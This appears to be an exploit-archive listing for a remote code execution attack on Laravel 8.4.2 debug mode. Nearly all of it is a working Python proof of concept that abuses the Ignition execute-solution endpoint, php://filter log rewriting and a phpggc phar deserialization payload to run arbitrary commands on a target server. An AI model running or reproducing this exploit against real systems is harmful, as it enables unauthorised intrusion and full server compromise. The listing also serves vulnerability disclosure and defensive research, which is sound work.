Laravel 8.4.2 Remote Code Execution

2021.01.15
Credit: SunCSR Team
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

# Exploit Title: Laravel 8.4.2 debug mode - Remote code execution # Date: 1.14.2021 # Exploit Author: SunCSR Team # Vendor Homepage: https://laravel.com/ # References: # https://www.ambionics.io/blog/laravel-debug-rce # https://viblo.asia/p/6J3ZgN8PKmB # Version: <= 8.4.2 # Tested on: Ubuntu 18.04 + nginx + php 7.4.3 # Github POC: https://github.com/khanhnv-2091/laravel-8.4.2-rce #!/usr/bin/env python3 import requests, sys, re, os header={ "Accept": "application/json" } data = { "solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",\ "parameters":{ "variableName":"cm0s", "viewFile":"" } } def clear_log(url='', viewFile=''): global data data['parameters']['viewFile'] = viewFile while (requests.post(url=url, json=data, headers=header, verify=False).status_code != 200): pass requests.post(url=url, json=data, headers=header, verify=False) requests.post(url=url, json=data, headers=header, verify=False) def create_payload(url='', viewFile=''): global data data['parameters']['viewFile'] = viewFile resp = requests.post(url=url, json=data, headers=header, verify=False) if resp.status_code == 500 and f'file_get_contents({viewFile})' in resp.text: return True return False def convert(url='', viewFile=''): global data data['parameters']['viewFile'] = viewFile resp = requests.post(url=url, json=data, headers=header, verify=False) if resp.status_code == 200: return True return False def exploited(url='', viewFile=''): global data data['parameters']['viewFile'] = viewFile resp = requests.post(url=url, json=data, headers=header, verify=False) if resp.status_code == 500 and 'cannot be empty' in resp.text: m = re.findall(r'\{(.|\n)+\}((.|\n)*)', resp.text) print() print(m[0][1]) def generate_payload(command='', padding=0): if '/' in command: command = command.replace('/', '\/') command = command.replace('\'', '\\\'') os.system(r'''php -d'phar.readonly=0' ./phpggc/phpggc monolog/rce1 system '%s' --phar phar -o php://output | base64 -w0 | sed -E 's/./\0=00/g' > payload.txt'''%(command)) payload = '' with open('payload.txt', 'r') as fp: payload = fp.read() payload = payload.replace('==', '=3D=') for i in range(padding): payload += '=00' os.system('rm -rf payload.txt') return payload def main(): if len(sys.argv) < 4: print('Usage: %s url path-log command\n'%(sys.argv[0])) print('\tEx: %s http(s)://pwnme.me:8000 /var/www/html/laravel/storage/logs/laravel.log \'id\''%(sys.argv[0])) exit(1) if not os.path.isfile('./phpggc/phpggc'): print('Phpggc not found!') print('Run command: git clone https://github.com/ambionics/phpggc.git') os.system('git clone https://github.com/ambionics/phpggc.git') url = sys.argv[1] path_log = sys.argv[2] command = sys.argv[3] padding = 0 payload = generate_payload(command, padding) if not payload: print('Generate payload error!') exit(1) if 'http' not in url and 'https' not in url: url = 'http'+url else: url = url+'/_ignition/execute-solution' print('\nExploit...') clear_log(url, 'php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s'%(path_log)) create_payload(url, 'AA') create_payload(url, payload) while (not convert(url, 'php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=%s'%(path_log))): clear_log(url, 'php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s'%(path_log)) create_payload(url, 'AA') padding += 1 payload = generate_payload(command, padding) create_payload(url, payload) exploited(url, 'phar://%s'%(path_log)) if __name__ == '__main__': main()


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